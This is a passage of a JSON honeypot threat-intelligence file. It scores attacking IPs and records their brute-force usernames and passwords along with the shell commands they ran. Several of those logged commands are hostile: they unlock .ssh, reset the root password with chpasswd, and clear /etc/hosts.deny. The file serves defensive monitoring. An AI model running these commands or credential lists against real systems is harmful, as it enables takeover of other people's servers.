        "first_seen_30d": "2026-05-17T16:16:25.812000+00:00",
        "last_seen_30d": "2026-05-17T16:54:23.653000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 53
      }
    },
    "104.194.10.248": {
      "attack_count": 210,
      "first_seen": "2026-05-05T00:31:00.633Z",
      "last_seen": "2026-05-31T03:03:22.802Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:31:00.633000+00:00",
        "last_seen_30d": "2026-05-31T03:04:23.547000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 105
      }
    },
    "101.47.156.21": {
      "attack_count": 161,
      "first_seen": "2026-05-29T22:03:03.916Z",
      "last_seen": "2026-05-29T22:28:06.640Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "daniel",
        "dspace",
        "elk",
        "jenkins",
        "lilei",
        "pgadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123!@#",
        "12321",
        "123456",
        "2357",
        "336699",
        "Pa$$w0rd",
        "Tt123456",
        "asdfasdf123",
        "asdzxc",
        "elk",
        "pass",
        "pgadmin123",
        "yy123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XCCi0Sk7MN17\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:03:03.916000+00:00",
        "last_seen_30d": "2026-05-29T22:29:08.753000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 43
      }
    },
    "172.110.219.251": {
      "attack_count": 156,
      "first_seen": "2026-05-08T18:28:55.250Z",
      "last_seen": "2026-05-31T01:04:28.659Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 211484,
      "as_org": "Ysz Trading Co., Limited",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:28:55.250000+00:00",
        "last_seen_30d": "2026-05-31T01:05:31.052000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "106.35.198.117": {
      "attack_count": 134,
      "first_seen": "2026-05-18T21:48:47.171Z",
      "last_seen": "2026-05-19T04:50:43.690Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:47.171000+00:00",
        "last_seen_30d": "2026-05-19T04:51:52.810000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 70
      }
    },
    "219.139.23.5": {
      "attack_count": 134,
      "first_seen": "2026-05-21T06:46:41.232Z",
      "last_seen": "2026-05-21T13:38:33.618Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:41:51.801000+00:00",
        "last_seen_30d": "2026-05-21T13:43:48.156000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 78
      }
    },
    "62.210.38.102": {
      "attack_count": 132,
      "first_seen": "2026-05-03T16:32:49.836Z",
      "last_seen": "2026-05-28T22:44:13.817Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:32:49.836000+00:00",
        "last_seen_30d": "2026-05-28T22:45:16.255000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "189.146.108.192": {
      "attack_count": 124,
      "first_seen": "2026-05-22T09:54:22.254Z",
      "last_seen": "2026-05-22T15:56:33.122Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuauht\u00e9moc",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:54:22.254000+00:00",
        "last_seen_30d": "2026-05-22T15:57:37.442000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 62
      }
    },
    "113.221.36.32": {
      "attack_count": 118,
      "first_seen": "2026-05-20T23:03:01.216Z",
      "last_seen": "2026-05-21T06:16:32.923Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:03:01.216000+00:00",
        "last_seen_30d": "2026-05-21T06:17:38.599000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 58
      }
    },
    "177.23.25.121": {
      "attack_count": 100,
      "first_seen": "2026-05-18T22:19:33.384Z",
      "last_seen": "2026-05-19T06:23:20.961Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cana\u00e3 dos Caraj\u00e1s",
      "asn": 270996,
      "as_org": "LINK PRIME TECNOLOGIA",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:19:33.384000+00:00",
        "last_seen_30d": "2026-05-19T06:24:21.557000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 50
      }
    },
    "157.230.18.133": {
      "attack_count": 73,
      "first_seen": "2026-05-28T14:55:44.937Z",
      "last_seen": "2026-05-28T15:12:12.128Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "eric",
        "kevin",
        "qiyuesuo",
        "simon"
      ],
      "passwords_attempted": [
        "1234@qwer",
        "1qaz!QAZ1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Password123!@#",
        "Qwert123",
        "Test@2023",
        "eric",
        "fjbdfdjkdsfs541544",
        "kevin",
        "password",
        "qiyuesuo",
        "simon"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T14:55:44.937000+00:00",
        "last_seen_30d": "2026-05-28T15:13:18.677000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 30
      }
    },
    "77.90.185.16": {
      "attack_count": 64,
      "first_seen": "2026-05-02T04:10:04.872Z",
      "last_seen": "2026-05-31T12:57:45.419Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 30,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:10:04.872000+00:00",
        "last_seen_30d": "2026-05-31T19:13:50.099000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Cowrie": 64,
        "Honeytrap": 49,
        "ConPot": 10
      }
    },
    "175.0.164.53": {
      "attack_count": 62,
      "first_seen": "2026-05-20T18:43:53.360Z",
      "last_seen": "2026-05-20T22:31:11.159Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:43:53.360000+00:00",
        "last_seen_30d": "2026-05-20T22:32:20.680000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 31
      }
    },
    "208.115.214.194": {
      "attack_count": 60,
      "first_seen": "2026-05-09T10:54:24.538Z",
      "last_seen": "2026-05-30T21:09:07.292Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:54:24.538000+00:00",
        "last_seen_30d": "2026-05-30T21:10:09.867000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "72.255.18.71": {
      "attack_count": 50,
      "first_seen": "2026-05-18T12:46:37.240Z",
      "last_seen": "2026-05-18T12:52:01.689Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:46:37.240000+00:00",
        "last_seen_30d": "2026-05-18T12:53:03.216000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.3.143": {
      "attack_count": 50,
      "first_seen": "2026-05-03T22:47:17.678Z",
      "last_seen": "2026-05-03T22:57:35.121Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:47:17.678000+00:00",
        "last_seen_30d": "2026-05-03T22:58:44.880000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "109.63.118.194": {
      "attack_count": 38,
      "first_seen": "2026-05-20T16:00:56.803Z",
      "last_seen": "2026-05-20T18:14:50.674Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "Manama",
      "asn": 51375,
      "as_org": "Stc Bahrain B.s.c Closed",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:00:56.803000+00:00",
        "last_seen_30d": "2026-05-20T18:15:51.608000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "103.74.20.43": {
      "attack_count": 36,
      "first_seen": "2026-05-30T23:21:42.264Z",
      "last_seen": "2026-05-30T23:25:35.864Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T23:21:42.264000+00:00",
        "last_seen_30d": "2026-05-30T23:26:41.110000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "167.71.43.252": {
      "attack_count": 27,
      "first_seen": "2026-05-27T02:40:44.464Z",
      "last_seen": "2026-05-27T04:28:08.103Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close",
        "Accept: */*"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 5.8,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 7,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T16:21:49.880000+00:00",
        "last_seen_30d": "2026-05-31T22:25:38.843000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Cowrie": 27,
        "Honeytrap": 3
      }
    },
    "162.214.75.117": {
      "attack_count": 24,
      "first_seen": "2026-05-04T16:16:04.468Z",
      "last_seen": "2026-05-05T00:09:03.794Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "dev"
      ],
      "passwords_attempted": [
        "1",
        "111111",
        "1111111",
        "11111111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c",
        "cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:16:04.468000+00:00",
        "last_seen_30d": "2026-05-05T00:10:04.646000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "102.212.246.188": {
      "attack_count": 23,
      "first_seen": "2026-05-24T13:45:32.896Z",
      "last_seen": "2026-05-24T17:16:04.344Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "user"
      ],
      "passwords_attempted": [
        "#2026kelltech",
        "Kelltech!2026",
        "changeme",
        "kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": null,
      "asn": 329278,
      "as_org": "truehostcloud",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:45:32.896000+00:00",
        "last_seen_30d": "2026-05-24T17:17:11.032000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "51.77.222.142": {
      "attack_count": 18,
      "first_seen": "2026-05-09T23:15:14.505Z",
      "last_seen": "2026-05-11T19:23:59.688Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:15:14.505000+00:00",
        "last_seen_30d": "2026-05-11T19:25:01.682000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "139.135.43.223": {
      "attack_count": 14,
      "first_seen": "2026-05-07T18:49:45.552Z",
      "last_seen": "2026-05-07T18:51:16.028Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:49:45.552000+00:00",
        "last_seen_30d": "2026-05-07T18:52:24.934000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "199.71.214.31": {
      "attack_count": 12,
      "first_seen": "2026-05-10T15:30:10.481Z",
      "last_seen": "2026-05-11T09:15:42.171Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:30:10.481000+00:00",
        "last_seen_30d": "2026-05-11T09:16:43.550000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "66.132.172.39": {
      "attack_count": 12,
      "first_seen": "2026-05-14T18:31:30.944Z",
      "last_seen": "2026-05-22T03:31:59.919Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T14:37:04+00:00",
        "last_seen_30d": "2026-05-31T23:19:35.657000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 40,
        "Cowrie": 12
      }
    },
    "78.111.67.137": {
      "attack_count": 12,
      "first_seen": "2026-05-10T05:45:00.874Z",
      "last_seen": "2026-05-18T23:58:34.917Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
